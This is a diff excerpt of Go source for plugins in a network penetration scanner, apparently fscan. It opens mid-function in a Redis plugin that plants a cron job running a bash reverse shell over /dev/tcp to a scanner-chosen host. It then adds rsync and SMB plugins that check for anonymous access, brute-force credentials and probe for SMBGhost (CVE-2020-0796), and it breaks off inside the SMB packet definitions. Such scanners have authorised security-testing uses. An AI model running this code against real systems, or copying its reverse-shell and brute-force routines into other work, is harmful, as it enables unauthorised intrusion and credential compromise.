cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
||||
text, ok, err = p.sendCmd(conn, cronCmd)
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
return true, p.truncateText(text), nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("redis", func() Plugin {
|
||||
return NewRedisPlugin()
|
||||
}, []int{6379, 6380, 6381, 16379, 26379})
|
||||
}
|
||||
@@ -0,0 +1,401 @@
|
||||
//go:build (plugin_rsync || !plugin_selective) && go1.21
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"go.ciq.dev/go-rsync/rsync"
|
||||
)
|
||||
|
||||
// RsyncPlugin Rsync扫描插件
|
||||
type RsyncPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewRsyncPlugin() *RsyncPlugin {
|
||||
return &RsyncPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("rsync"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
var findings []string
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
|
||||
findings = append(findings, result.Banner)
|
||||
}
|
||||
|
||||
// 生成密码字典
|
||||
credentials := plugins.GenerateCredentials("rsync", config)
|
||||
if len(credentials) == 0 {
|
||||
if len(findings) > 0 {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: findings[0],
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 转换凭据类型
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password))
|
||||
return result
|
||||
}
|
||||
|
||||
// 如果暴力破解失败但有未授权访问发现,返回该结果
|
||||
if len(findings) > 0 {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: findings[0],
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
}
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Rsync认证函数
|
||||
func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doRsyncAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doRsyncAuth 执行Rsync认证
|
||||
func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
// 先获取可用模块列表
|
||||
conn := p.connectToRsync(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||
}
|
||||
}
|
||||
modules := p.getModules(conn, config)
|
||||
_ = conn.Close()
|
||||
|
||||
if len(modules) == 0 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("无法获取模块列表"),
|
||||
}
|
||||
}
|
||||
|
||||
// 提取第一个模块名
|
||||
firstModuleLine := modules[0]
|
||||
firstModule := strings.Fields(firstModuleLine)[0]
|
||||
|
||||
// 使用 go-rsync 库进行认证测试
|
||||
address := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
dummyFS := &dummyStorage{}
|
||||
|
||||
_, err := rsync.SocketClient(
|
||||
dummyFS,
|
||||
address,
|
||||
firstModule,
|
||||
"/",
|
||||
rsync.WithClientAuth(cred.Username, cred.Password),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
errMsg := err.Error()
|
||||
if common.ContainsAny(errMsg, "auth", "password") {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRsyncErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &rsyncConnWrapper{},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// rsyncConnWrapper 包装Rsync连接以实现io.Closer
|
||||
type rsyncConnWrapper struct{}
|
||||
|
||||
func (w *rsyncConnWrapper) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// dummyStorage 空的 FS 实现,用于认证测试
|
||||
type dummyStorage struct{}
|
||||
|
||||
func (d *dummyStorage) Put(fileName string, content io.Reader, fileSize int64, metadata rsync.FileMetadata) (written int64, err error) {
|
||||
return 0, fmt.Errorf("not implemented")
|
||||
}
|
||||
|
||||
func (d *dummyStorage) Delete(fileName string, mode rsync.FileMode) error {
|
||||
return fmt.Errorf("not implemented")
|
||||
}
|
||||
|
||||
func (d *dummyStorage) List() (rsync.FileList, error) {
|
||||
return nil, fmt.Errorf("not implemented")
|
||||
}
|
||||
|
||||
// classifyRsyncErrorType Rsync错误分类
|
||||
func classifyRsyncErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
rsyncAuthErrors := []string{
|
||||
"auth",
|
||||
"password",
|
||||
"authentication failed",
|
||||
"access denied",
|
||||
"unauthorized",
|
||||
"invalid credentials",
|
||||
}
|
||||
|
||||
return ClassifyError(err, rsyncAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
conn := p.connectToRsync(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
modules := p.getModules(conn, config)
|
||||
|
||||
if len(modules) > 0 {
|
||||
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// connectToRsync 连接到Rsync服务
|
||||
func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
|
||||
target := info.Target()
|
||||
|
||||
connChan := make(chan net.Conn, 1)
|
||||
|
||||
go func() {
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
connChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
connChan <- conn
|
||||
}()
|
||||
|
||||
select {
|
||||
case conn := <-connChan:
|
||||
return conn
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
conn := <-connChan
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// getModules 获取Rsync模块列表
|
||||
func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string {
|
||||
timeout := config.Timeout
|
||||
|
||||
// 读取服务器版本
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
versionBuf := make([]byte, 256)
|
||||
n, err := conn.Read(versionBuf)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
_ = string(versionBuf[:n])
|
||||
|
||||
// 回复客户端版本
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte("@RSYNCD: 31.0\n")); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 发送模块列表请求
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte("\n")); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
scanner := bufio.NewScanner(conn)
|
||||
|
||||
var modules []string
|
||||
hasError := false
|
||||
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "@RSYNCD: EXIT") {
|
||||
break
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "@RSYNCD:") {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "@ERROR:") {
|
||||
hasError = true
|
||||
break
|
||||
}
|
||||
|
||||
modules = append(modules, line)
|
||||
}
|
||||
|
||||
if hasError {
|
||||
return nil
|
||||
}
|
||||
|
||||
return modules
|
||||
}
|
||||
|
||||
// identifyService Rsync服务识别
|
||||
func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn := p.connectToRsync(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
timeout := config.Timeout
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte("\n")); err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "@RSYNCD") {
|
||||
lines := strings.Split(responseStr, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "@RSYNCD:") {
|
||||
banner = fmt.Sprintf("Rsync服务 (%s)", strings.TrimSpace(line))
|
||||
break
|
||||
}
|
||||
}
|
||||
if banner == "" {
|
||||
banner = "Rsync文件同步服务"
|
||||
}
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("无法识别为Rsync服务"),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("rsync_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rsync", func() Plugin {
|
||||
return NewRsyncPlugin()
|
||||
}, []int{873})
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
//go:build plugin_smb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// SmbPlugin 统一SMB检测插件
|
||||
// 融合了原有的 smb, smb2, smbinfo, smbghost 四个插件
|
||||
type SmbPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewSmbPlugin() *SmbPlugin {
|
||||
return &SmbPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("smb"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
target := info.Target()
|
||||
|
||||
// 检查端口
|
||||
if info.Port != 445 && info.Port != 139 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB插件仅支持139和445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 1. 协议探测和信息收集
|
||||
smbTarget, err := probeTarget(info.Host, info.Port, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB协议探测失败: %w", err),
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// 输出信息收集结果
|
||||
p.logSMBInfo(target, smbTarget)
|
||||
|
||||
// 2. 漏洞检测 (仅SMBv2+且端口445)
|
||||
if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 {
|
||||
if checkSMBGhost(info.Host, config.Timeout) {
|
||||
smbTarget.Vulnerable = &SMBVuln{CVE20200796: true}
|
||||
common.LogVuln(i18n.Tr("smbghost_vuln", target))
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只返回信息收集结果
|
||||
if config.DisableBrute {
|
||||
return p.buildInfoResult(smbTarget)
|
||||
}
|
||||
|
||||
// 3. 根据协议版本选择认证器
|
||||
auth := p.getAuthenticator(smbTarget.Protocol)
|
||||
|
||||
// 4. 未授权访问检测
|
||||
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state); result != nil && result.Success {
|
||||
var successMsg string
|
||||
if config.Credentials.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s:%s", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogVuln(successMsg)
|
||||
return result
|
||||
}
|
||||
|
||||
// 5. 弱密码检测
|
||||
credentials := plugins.GenerateCredentials("smb", config)
|
||||
if len(credentials) == 0 {
|
||||
return p.buildInfoResult(smbTarget)
|
||||
}
|
||||
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
authFn := p.createAuthFunc(info, auth, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig)
|
||||
|
||||
if result.Success {
|
||||
var successMsg string
|
||||
if config.Credentials.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB %s %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s %s:%s", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogVuln(successMsg)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// getAuthenticator 根据协议版本返回认证器
|
||||
func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator {
|
||||
if protocol == SMBProtocol1 {
|
||||
return &SMB1Authenticator{}
|
||||
}
|
||||
return &SMB2Authenticator{}
|
||||
}
|
||||
|
||||
// createAuthFunc 创建认证函数
|
||||
func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
|
||||
if result.Success {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
}
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
unauthorizedCreds := []Credential{
|
||||
{Username: "", Password: ""},
|
||||
{Username: "guest", Password: ""},
|
||||
{Username: "anonymous", Password: ""},
|
||||
}
|
||||
|
||||
for _, cred := range unauthorizedCreds {
|
||||
shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
|
||||
if err == nil && len(shareInfo) > 0 {
|
||||
var output strings.Builder
|
||||
displayUser := cred.Username
|
||||
if displayUser == "" {
|
||||
displayUser = "<empty>"
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("SMB %s 匿名访问 - %s:%s", target, displayUser, cred.Password))
|
||||
for _, share := range shareInfo {
|
||||
output.WriteString(fmt.Sprintf("\n%s", share))
|
||||
}
|
||||
|
||||
common.LogSuccess(output.String())
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "smb",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "SMB匿名访问",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// logSMBInfo 输出SMB信息
|
||||
func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) {
|
||||
msg := fmt.Sprintf("SMBInfo %s", target)
|
||||
if info.OSVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", info.OSVersion)
|
||||
}
|
||||
if info.ComputerName != "" {
|
||||
msg += fmt.Sprintf(" %s", info.ComputerName)
|
||||
}
|
||||
msg += fmt.Sprintf(" %s", info.Protocol.String())
|
||||
common.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// buildInfoResult 构建信息收集结果
|
||||
func (p *SmbPlugin) buildInfoResult(info *SMBTarget) *ScanResult {
|
||||
result := &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "smb",
|
||||
Banner: info.Summary(),
|
||||
}
|
||||
|
||||
// 如果发现漏洞,标记为漏洞类型
|
||||
if info.Vulnerable != nil && info.Vulnerable.CVE20200796 {
|
||||
result.Type = plugins.ResultTypeVuln
|
||||
result.Banner = fmt.Sprintf("%s CVE-2020-0796", info.Summary())
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("smb", func() Plugin {
|
||||
return NewSmbPlugin()
|
||||
}, []int{139, 445})
|
||||
}
|
||||
@@ -0,0 +1,951 @@
|
||||
//go:build plugin_smb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
iofs "io/fs"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
)
|
||||
|
||||
// SMBProtocol SMB协议版本
|
||||
type SMBProtocol int
|
||||
|
||||
const (
|
||||
SMBProtocolUnknown SMBProtocol = iota
|
||||
SMBProtocol1
|
||||
SMBProtocol2
|
||||
)
|
||||
|
||||
func (p SMBProtocol) String() string {
|
||||
switch p {
|
||||
case SMBProtocol1:
|
||||
return "SMBv1"
|
||||
case SMBProtocol2:
|
||||
return "SMBv2"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// SMBTarget 目标信息(一次探测,到处使用)
|
||||
type SMBTarget struct {
|
||||
Protocol SMBProtocol
|
||||
ComputerName string
|
||||
DomainName string
|
||||
OSVersion string
|
||||
NativeOS string
|
||||
NativeLM string
|
||||
NTLMFlags []string
|
||||
Vulnerable *SMBVuln
|
||||
}
|
||||
|
||||
// SMBVuln 漏洞信息
|
||||
type SMBVuln struct {
|
||||
CVE20200796 bool // SMB Ghost
|
||||
}
|
||||
|
||||
// Summary 返回SMB信息摘要
|
||||
func (t *SMBTarget) Summary() string {
|
||||
var parts []string
|
||||
parts = append(parts, t.Protocol.String())
|
||||
|
||||
if t.OSVersion != "" {
|
||||
parts = append(parts, t.OSVersion)
|
||||
}
|
||||
|
||||
if t.ComputerName != "" {
|
||||
parts = append(parts, t.ComputerName)
|
||||
}
|
||||
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// SMB协议数据包定义
|
||||
var (
|
||||
smbv1NegotiatePacket = []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
smbv1SessionSetupPacket = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
smbv2NegotiatePacket = []byte{
|
||||
0x00, 0x00, 0x00, 0x45, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
|
||||
0x00, 0x00, 0x00, 0x18, 0x01, 0x48, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,
|
||||
0xAC, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x02,
|
||||
0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32,
|
||||
0x00, 0x02, 0x53, 0x4D, 0x42, 0x20, 0x32, 0x2E, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x53, 0x4D, 0x42, 0x20, 0x32, 0x2E, 0x3F,
|
||||
0x3F, 0x3F, 0x00,
|
||||
}
|
||||
|
||||
smbv2SessionSetupPacket = []byte{
|
||||
0x00, 0x00, 0x00, 0x68, 0xFE, 0x53, 0x4D, 0x42, 0x40, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00,
|
||||
0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x10, 0x02,
|
||||
}
|
||||
|
||||
// SMB Ghost (CVE-2020-0796) 检测数据包
|
||||
smbGhostPacket = "\x00" +
|
||||
"\x00\x00\xc0" +
|
||||
"\xfeSMB@\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
